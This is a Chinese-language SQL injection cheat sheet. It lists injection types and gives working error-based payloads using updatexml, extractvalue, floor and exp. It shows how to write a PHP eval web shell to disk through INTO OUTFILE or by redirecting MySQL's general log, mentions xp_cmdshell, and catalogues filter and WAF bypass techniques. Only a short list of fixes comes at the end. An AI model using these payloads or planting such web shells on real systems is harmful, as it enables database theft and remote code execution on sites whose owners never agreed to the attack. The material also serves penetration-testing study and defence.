类型
union联合查询注入
布尔盲注
报错注入
时间盲注
堆叠查询注入
二次注入
宽字节注入
base64注入
cookie注入攻击-http请求头参数注入
常用函数
substr(),mid(),limit(),rand(),floor(),concat(),ascii()
常用报错函数
1、floor()函数
union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
2、updatexml()函数
id=-1 or updatexml(1,concat(0x7e,(select database())),1)
3、extractvalue()函数
id=-1 or extractvalue(1,concat(0x7e,(select database())))
4、exp()函数
id =1 and EXP(~(SELECT * from(select user())a))
获取webshell的方法
1、mysql:使用outfile写入或者开启log日志写入
outfile写入
id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
开启log写入
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式
前提条件:具有写入文件的权限,知道站点的绝对路径
2、mssql:使用xp-cmdshell执行系统命令
绕过方法
注释符/**/绕过
大小写绕过
内联注释绕过/*! */
双写关键字绕过
编码绕过:16进制编码,ascii编码,unicode编码
空格过滤:使用注释符和括号绕过
引号过滤:使用16进制编码绕过,宽字节绕过
逗号过滤:使用from 或者 offset
select substr(database(),1,1); 等价于 select substr(database() from 1 for 1);
select * from news limit 0,1 等价于 select * from news limit 1 offset 0
=过滤:使用like
<>过滤:使用greatest
ascii(substr(database(),0,1))>64 等价于 greatest(ascii(substr(database(),0,1)),64)=64
过滤函数:
sleep() -->benchmark()
ascii()–>hex()、bin()
group_concat()–>concat_ws()
substr()–>mid()
修复方法
1、使用预编译语句绑定变量
2、对进入数据库的特殊字符(’”\尖括号&*;等)进行转义处理或编码转换。
3、严格限制变量类型
4、最小权限原则,不要以root权限运行数据库